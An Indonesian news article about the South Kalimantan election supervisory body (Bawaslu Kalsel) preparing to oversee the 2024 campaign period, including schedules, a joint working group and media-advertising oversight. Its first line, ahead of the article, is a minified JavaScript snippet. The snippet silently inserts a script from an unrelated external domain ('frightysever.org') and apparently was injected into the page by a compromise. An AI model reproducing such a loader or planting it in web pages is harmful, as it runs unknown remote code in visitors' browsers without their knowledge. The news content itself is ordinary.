(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Masa Kampanye Tinggal 4 Hari, Tugas Bawaslu Kalsel Terpecah Awasi Pilpres dan Caleg


KANALKALIMANTAN.COM, BANJARBARU – Seluruh jajaran Badan Pengawas Pemilu (Bawaslu) di Provinsi Kalimantan Selatan (Kalsel) tengah bersiap menghadapi masa kampanye Pemilu 2024.

Tinggal empat hari menjelang dimulai masa kampanye pada 28 November 2023, Ketua Komisi Pemilihan Umum (KPU) Kalsel Andi Tenri menyebut bahwa tahapan kampanye Pemilu 2024 akan menyita kerja Bawaslu Kalsel.

Lantaran pengawasan akan terpecah pada peserta dari pasangan calon presiden dan calon anggota legislatif.

Seperti yang termuat dalam Peraturan KPU Nomor 15 tahun 2023 tentang kampanye Pemilu, peserta Pemilu dapat berkampanye melalui pertemuan terbatas, pertemuan tatap muka, penyebaran bahan kampanye kepada umum.

Baca juga: Belum Setahun Rumah Syamsiah Dua Kali Disapu Puting Beliung

Kemudian kampanye dapat dilanjutkan dengan pemasangan alat peraga di tempat umum, debat pasangan calon dan kampanye di media sosial yang akan berlangsung dari 28 November 2023 hingga 10 Februari 2024 mendatang.

Sementara itu kampanye rapat umum, iklan media massa (cetak dan elektronik) dan kampanye melalui media dalam jaringan atau online dapat dilakukan di antara 21 Januari 2024 hingga 10 Februari 2024.

“Kampanye akan menyita kerja Bawaslu. Tentunya harus ada edukasi yang baik,” ucap Tenri di aula Bawaslu Kalsel, Kamis (23/11/2023) siang.

Kegiatan kampanye akan ditutup dengan masa tenang antara 11 Februari 2024 hingga 13 Februari 2024.

Baca juga: Deklarasi Damai Pemilu 2024 di Kecamatan Beruntung Baru

Praktis, namun tugas Pengawas Pemilu (Panwaslu) semakin banyak mencakup tingkat kabupaten kota hingga desa.

Menanggapi hal tersebut, Bawaslu Kalsel turut mengikutsertakan unsur Satpol PP, Badan Kesbangpol, serta aparat TNI dan Polri dalam sebuah Kelompok Kerja (Pokja) Pengawasan Kampanye.

Ketua Bawaslu Kalsel, Aries Mardiono mengatakan, Pokja Bawaslu nantinya akan mengiventarisir potensi-potensi pelanggaran saat kampanye, hingga kepada tindakan penertiban alat peraga sosialisasi dan kampanye.

Seperti terhadap alat peraga sosialisasi, kata Aries, Bawaslu sendiri sudah mengirimkan surat imbauan kepada partai politik untuk tidak memuat unsur kampanye di dalamnya.

Baca juga: Warga Dapat Bantuan Sembako dari Kapolda Kalsel, Mahasiswa STIE Banjarmasin Terima Beasiswa

“Pengawasan alat peraga kampanye mulai dari konten, lokasi pemasangan hingga ukuran akan menjadi fokus pengawasan kita,” jelas Aries.

Ia meminta kepada Bawaslu di kabupaten kota aktif berkoordinasi dengan stakeholder yang tergabung dalam Pokja untuk melakukan kajian mendalam hingga kesimpulan untuk mengambil tindakan penertiban.

Kemudian pengawasan siaran pada tahapan kampanye melalui iklan media massa (cetak dan elektronik) juga diperketat adanya Tim Gugus Tugas yang melibatkan Bawaslu, KPU dan Komisi Penyiaran Indonesia Daerah (KPID) Kalsel.

“Meski ada miss informasi misalnya siapa saja yang termasuk dalam unsur kampanye, kapan waktu kampanye bagi pasangan calon presiden dan calon legislatif, dengan kita lakukan SKB ini membuat efektifitas terhadap penanganan dan tindaklanjut peristiwa yang terjadi ruang publik,” ungkap Aries.

Baca juga: Hanya Tiga Daerah di Kalsel Raih Anugerah Meritokrasi 2023, Pemko Banjarbaru Salah Satunya

Tim menegaskan bisa all out dalam mengawasi siaran pada tahapan kampanye melalui iklan media massa (cetak dan elektronik) yang akan dimulai pada 21 Januari-10 Februari 2024.

Iklan kampanye Pemilu dapat dilakukan oleh peserta Pemilu melalui media massa cetak, media daring, media sosial, dan lembaga penyiaran. Segala aturan tentang tahapan kampanye ini juga sudah termuat dalam Peraturan KPU Nomor 15 tahun 2023.

Media massa cetak, media daring, media sosial, dan lembaga penyiaran ini pula diminta berlaku adil berimbang, dan tidak memihak dalam menyiarkan iklan kampanye Pemilu. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

6 menit ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

2 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

6 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

6 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

6 jam ago

This website uses cookies.